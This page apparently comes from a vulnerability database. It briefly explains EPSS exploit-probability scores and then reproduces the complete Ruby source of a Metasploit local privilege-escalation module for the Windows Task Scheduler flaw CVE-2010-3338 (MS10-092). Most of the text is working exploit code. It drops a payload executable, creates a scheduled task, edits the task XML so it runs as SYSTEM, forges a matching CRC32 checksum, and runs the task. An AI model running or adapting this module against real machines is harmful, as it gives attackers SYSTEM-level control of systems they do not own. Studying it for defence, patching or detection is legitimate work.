The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/post/common' require 'rex' require 'zlib' class Metasploit3 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::Common include Msf::Post::File def initialize(info={}) super(update_info(info, { 'Name' => 'Windows Escalate Task Scheduler XML Privilege Escalation', 'Description' => %q{ This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet. When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with. Also, In a default configuration, normal users can read and write the task files that they have created. By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges. NOTE: Thanks to webDEViL for the information about disable/enable. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision$', 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows Vista, 7, and 2008', {} ], ], 'References' => [ [ 'OSVDB', '68518' ], [ 'CVE', '2010-3338' ], [ 'BID', '44357' ], [ 'MSB', 'MS10-092' ], [ 'EDB', 15589 ] ], 'DisclosureDate'=> 'Sep 13 2010', 'DefaultTarget' => 0 })) register_options([ OptString.new("CMD", [ false, "Command to execute instead of a payload" ]), OptString.new("TASKNAME", [ false, "A name for the created task (default random)" ]), ]) end def check vuln = false winver = sysinfo["OS"] affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ] affected.each { |v| if winver.include? v vuln = true break end } if not vuln return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears end def exploit if sysinfo["Architecture"] =~ /wow64/i # # WOW64 Filesystem Redirection prevents us opening the file directly. To make matters # worse, meterpreter/railgun creates things in a new thread, making it much more # difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this, # offer a workaround and error out. # print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...") return end if check == Exploit::CheckCode::Safe print_error("#{winver} is not vulnerable.") return end taskname = datastore["TASKNAME"] || nil cmd = datastore["CMD"] || nil upload_fn = nil tempdir = session.fs.file.expand_path("%TEMP%") if not cmd # Get the exe payload. exe = generate_payload_exe #and placing it on the target in %TEMP% tempexename = Rex::Text.rand_text_alpha(rand(8)+6) cmd = tempdir + "\\" + tempexename + ".exe" print_status("Preparing payload at #{cmd}") write_file(cmd, exe) else print_status("Using command: #{cmd}") end # # Create a new task to do our bidding, but make sure it doesn't run. # taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8)) sysdir = session.fs.file.expand_path("%SystemRoot%") taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}" print_status("Creating task: #{taskname}") cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f" # print_debug("Will Execute:\n\t#{cmdline}") exec_schtasks(cmdline, "create the task") # # Read the contents of the newly creates task file # content = read_task_file(taskname, taskfile) # # Double-check that we got what we expect. # if content[0,2] != "\xff\xfe" # # Convert to unicode, since it isn't already # content = content.unpack('C*').pack('v*') else # # NOTE: we strip the BOM here to exclude it from the crc32 calculation # content = content[2,content.length] end # # Record the crc32 for later calculations # old_crc32 = crc32(content) print_status("Original CRC32: 0x%x" % old_crc32) # # Convert the file contents from unicode # content = content.unpack('v*').pack('C*') # # Mangle the contents to now run with SYSTEM privileges # content.gsub!('LeastPrivilege', 'HighestAvailable') content.gsub!(/.*<\/UserId>/, 'S-1-5-18') content.gsub!(/.*<\/Author>/, 'S-1-5-18') #content.gsub!('InteractiveToken', 'Password') content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"') content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"') content << "" # # Convert it back to unicode # content = Rex::Text.to_unicode(content) # # Fix it so the CRC matches again # fix_crc32(content, old_crc32) new_crc32 = crc32(content) print_status("Final CRC32: 0x%x" % new_crc32) # # Write the new content back # print_status("Writing our modified content back...") fd = session.fs.file.new(taskfile, "wb") fd.write "\xff\xfe" + content fd.close # # Validate our results # print_status("Validating task: #{taskname}") exec_schtasks("schtasks.exe /query /tn #{taskname}", "validate the task") # # Run the task :-) # print_status("Disabling the task...") exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task") print_status("Enabling the task...") exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task") print_status("Executing the task...") exec_schtasks("schtasks.exe /run /tn #{taskname}", "run the task") # # And delete it. # print_status("Deleting the task...") exec_schtasks("schtasks.exe /delete /f /tn #{taskname}", "delete the task") end def crc32(data) table = Zlib.crc_table crc = 0xffffffff data.unpack('C*').each { |b| crc = table[(crc & 0xff) ^ b] ^ (crc >> 8) } crc end def fix_crc32(data, old_crc) # # CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably # reversed from Microsoft's code) # bwd_table = [ 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9 ] crc = crc32(data[0, data.length - 12]) data[-12, 4] = [crc].pack('V') data[-12, 12].unpack('C*').reverse.each { |b| old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff } data[-12, 4] = [old_crc].pack('V') end def exec_schtasks(cmdline, purpose) cmdline = "/c #{cmdline.strip} && echo SCHELEVATOR" lns = cmd_exec('cmd.exe', cmdline) success = false lns.each_line { |ln| ln.chomp! if ln =~ /^SUCCESS\:\s/ success = true print_status(ln) else print_status(ln) end } end def read_task_file(taskname, taskfile) print_status("Reading the task file contents from #{taskfile}...") # Can't read the file directly on 2008? content = '' fd = session.fs.file.new(taskfile, "rb") until fd.eof? content << fd.read end fd.close content end end

# Exploit Title: Windows Task Scheduler Privilege Escalation 0day # Date: 20-11-2010 # Author: webDEViL # Tested on: Windows 7/2008 x86/x64